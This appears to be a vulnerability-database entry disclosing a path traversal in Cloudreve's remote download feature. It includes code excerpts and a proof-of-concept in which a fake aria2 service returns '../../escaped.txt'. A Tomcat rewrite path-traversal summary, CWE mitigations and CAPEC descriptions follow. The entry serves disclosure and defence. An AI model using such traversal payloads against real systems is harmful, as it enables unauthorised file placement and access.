Vulnerability from github – Published: 2026-08-24 22:03 – Updated: 2026-08-24 22:03
VLAI
Summary
Cloudreve's remote download file paths can escape the selected destination directory
Details
Summary
Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.
Details
In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.
// pkg/filemanager/workflows/remote_download.go:436-438
sanitizedName := sanitizeFileName(file.Name)
dst := dstUri.JoinRaw(sanitizedName)
src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))
The same issue also exists when constructing slave upload payloads.
// pkg/filemanager/workflows/remote_download.go:323-327
dst := dstUri.JoinRaw(sanitizeFileName(f.Name))
src := path.Join(m.state.Status.SavePath, f.Name)
payload.Files = append(payload.Files, SlaveUploadEntity{
Src: src,
Uri: dst,
The sanitizer does not remove /, ., or .. path segments.
// pkg/filemanager/workflows/remote_download.go:648-650
func sanitizeFileName(name string) string {
r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_")
return r.Replace(name)
}
JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.
// pkg/filemanager/fs/uri.go:173-175
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.
// pkg/downloader/aria2/aria2.go:148-159
relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)
if len(relPath) > 0 {
relPath = relPath[1:]
}
return downloader.TaskFile{
Index: index,
Name: relPath,
Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt
The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.
PoC
The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.
Setup:
Cloudreve official Docker image
PostgreSQL
Redis
Fake aria2 JSON-RPC service
Configure the master node in the Cloudreve admin UI:
Remote download capability: enabled
Downloader provider: aria2
aria2 RPC server: http://fake-aria2:6800/jsonrpc
aria2 token: empty
Create this folder structure in the file manager:
My files /
victim /
safe /
Create a remote download task using any URL in the victim/safe directory, for example:
http://attacker.invalid/file
The fake aria2 service returns:
files[0].path = <saveDir>/../../escaped.txt
Expected result after the remote download task completes:
cloudreve://my/escaped.txt exists
This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.
Impact
If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.
This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Summary
Apache Tomcat Vulnerable to Relative Path Traversal
Details
The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

Mitigation MIT-5.1
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Implementation
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-139: Relative Path Traversal
An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
